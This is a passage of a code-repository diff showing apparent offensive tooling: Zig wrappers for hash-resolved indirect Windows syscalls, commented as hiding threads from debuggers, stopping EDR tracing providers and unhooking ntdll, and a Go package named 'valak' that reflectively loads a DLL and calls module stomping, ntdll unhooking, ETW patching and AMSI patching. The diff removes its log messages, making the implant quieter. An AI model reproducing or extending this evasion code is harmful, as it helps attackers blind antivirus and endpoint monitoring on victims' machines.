|
||||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Sets thread properties (hide from debugger, etc).
|
// Sets thread properties (hide from debugger, etc).
|
||||||
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS {
|
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS {
|
||||||
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
|
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
|
||||||
@@ -318,53 +311,18 @@ pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, o
|
|||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Sets process-level properties. Spoofed because EDR callbacks use this API.
|
|
||||||
pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
|
|
||||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
|
|
||||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Writes memory in any process.
|
|
||||||
pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS {
|
|
||||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Changes page protection.
|
// Changes page protection.
|
||||||
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
|
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
|
||||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
|
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Creates a thread in any process.
|
|
||||||
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
|
|
||||||
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Creates a new process.
|
|
||||||
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
|
|
||||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
|
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
|
||||||
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
|
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
|
||||||
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
|
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Queries memory region info for an address range.
|
|
||||||
pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS {
|
|
||||||
const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) };
|
|
||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll.
|
// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll.
|
||||||
// Ref: https://ntdoc.m417z.com/ntopensection
|
// Ref: https://ntdoc.m417z.com/ntopensection
|
||||||
pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS {
|
pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS {
|
||||||
|
|||||||
+1
-9
@@ -7,7 +7,6 @@ package valak
|
|||||||
import (
|
import (
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
@@ -192,7 +191,6 @@ func loadDLL() error {
|
|||||||
syscall.SyscallN(procInit)
|
syscall.SyscallN(procInit)
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("[valak] DLL reflectively loaded (%d bytes)", len(data))
|
|
||||||
dllLoaded = true
|
dllLoaded = true
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -379,23 +377,17 @@ func PatchAll() {
|
|||||||
if procStomp != 0 {
|
if procStomp != 0 {
|
||||||
syscall.SyscallN(procStomp, dllBase)
|
syscall.SyscallN(procStomp, dllBase)
|
||||||
if procIsRelocated != 0 {
|
if procIsRelocated != 0 {
|
||||||
r, _, _ := syscall.SyscallN(procIsRelocated)
|
_, _, _ = syscall.SyscallN(procIsRelocated)
|
||||||
if r != 0 {
|
|
||||||
log.Printf("[valak] module stomped")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if procUnhookNtdll != 0 {
|
if procUnhookNtdll != 0 {
|
||||||
syscall.SyscallN(procUnhookNtdll)
|
syscall.SyscallN(procUnhookNtdll)
|
||||||
log.Printf("[valak] ntdll unhooked")
|
|
||||||
}
|
}
|
||||||
if procPatchETW != 0 {
|
if procPatchETW != 0 {
|
||||||
syscall.SyscallN(procPatchETW)
|
syscall.SyscallN(procPatchETW)
|
||||||
log.Printf("[valak] ETW patched")
|
|
||||||
}
|
}
|
||||||
if procPatchAMSI != 0 {
|
if procPatchAMSI != 0 {
|
||||||
syscall.SyscallN(procPatchAMSI)
|
syscall.SyscallN(procPatchAMSI)
|
||||||
log.Printf("[valak] AMSI patched")
|
|
||||||
}
|
}
|
||||||
InitText()
|
InitText()
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user